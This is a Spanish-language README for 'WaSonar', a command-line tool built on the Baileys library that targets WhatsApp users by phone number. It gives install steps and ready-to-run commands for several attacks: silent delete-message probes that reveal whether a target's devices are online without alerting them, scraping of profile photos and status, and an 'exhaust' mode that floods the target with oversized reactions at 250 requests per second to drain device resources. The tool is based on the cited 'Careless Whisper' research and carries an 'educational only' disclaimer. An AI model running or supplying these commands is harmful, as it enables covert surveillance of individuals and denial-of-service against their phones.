
Herramienta de Inteligencia y Agotamiento de Recursos de WhatsApp. Incluye seguimiento de dispositivos en tiempo real, sondeo RTT silencioso y pruebas de estrés de protocolo para investigación de seguridad.
Aviso: Esta herramienta es únicamente para fines educativos e investigación en seguridad. Los desarrolladores no se responsabilizan por su mal uso. Úsala de manera responsable y ética.
WaSonar es una potente herramienta CLI diseñada para investigación educativa, seguimiento de dispositivos y pruebas de estrés en el protocolo de WhatsApp. Construida sobre Baileys.
npm install -g wasonar-cli
npx wasonar-cli <comando>
git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install
Primero, debes autenticarte con una cuenta de WhatsApp.
wasonar-cli login
Escanea el código QR que aparece en tu terminal.
Lista todos los dispositivos conectados a un número objetivo.
wasonar-cli devices <número-objetivo>
# Ejemplo:
wasonar-cli devices 919876543210
La función principal. Envía sondas silenciosas para detectar si los dispositivos están en línea y medir la latencia.
# Sondear un número infinito de veces (por defecto)
wasonar-cli online 919876543210
# Enviar un número específico de sondas
wasonar-cli online 919876543210 --probes 5
# Guardar resultados en un archivo
wasonar-cli online 919876543210 --output ./logs
Nota: PENDIENTE/FUERA DE LÍNEA significa que el servidor recibió el mensaje, pero el dispositivo objetivo no confirmó la recepción.
Obtén la foto de perfil y el estado del usuario.
# Mostrar información y descargar la foto de perfil
wasonar-cli profile 919876543210 --output ./profiles
⚠️ SOLO PARA USO EDUCATIVO. Envía cargas útiles sobredimensionadas de alta frecuencia.
# Modo agresivo (Por defecto: 250 req/s, payload de 1KB)
wasonar-cli exhaust 919876543210
# Modo lento (10 req/s, payload de 500B)
wasonar-cli exhaust 919876543210 --aggression slow
# Establecer duración
wasonar-cli exhaust 919876543210 --duration 30
WaSonar utiliza "Sondas de Eliminación Silenciosa" para detectar el estado en línea sin alertar al objetivo.
revocado (eliminación) para un ID de mensaje inexistente.delivery_receipt (estado 3) para el mensaje de protocolo.Basado en la investigación "Careless Whisper", este ataque explota la brecha de validación en el manejo de reacciones de WhatsApp.
Aunque las reacciones no se muestran en el teléfono del objetivo si son inválidas, igual se reciben y procesan.
Los datos de investigación indican un potencial significativo para el agotamiento de recursos:
Basado en la investigación de Gegenhuber et al., Universidad de Viena & SBA Research:
@inproceedings{gegenhuber2024careless,
title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
year={2024},
organization={University of Vienna, SBA Research}
}
Creado por AjayAnto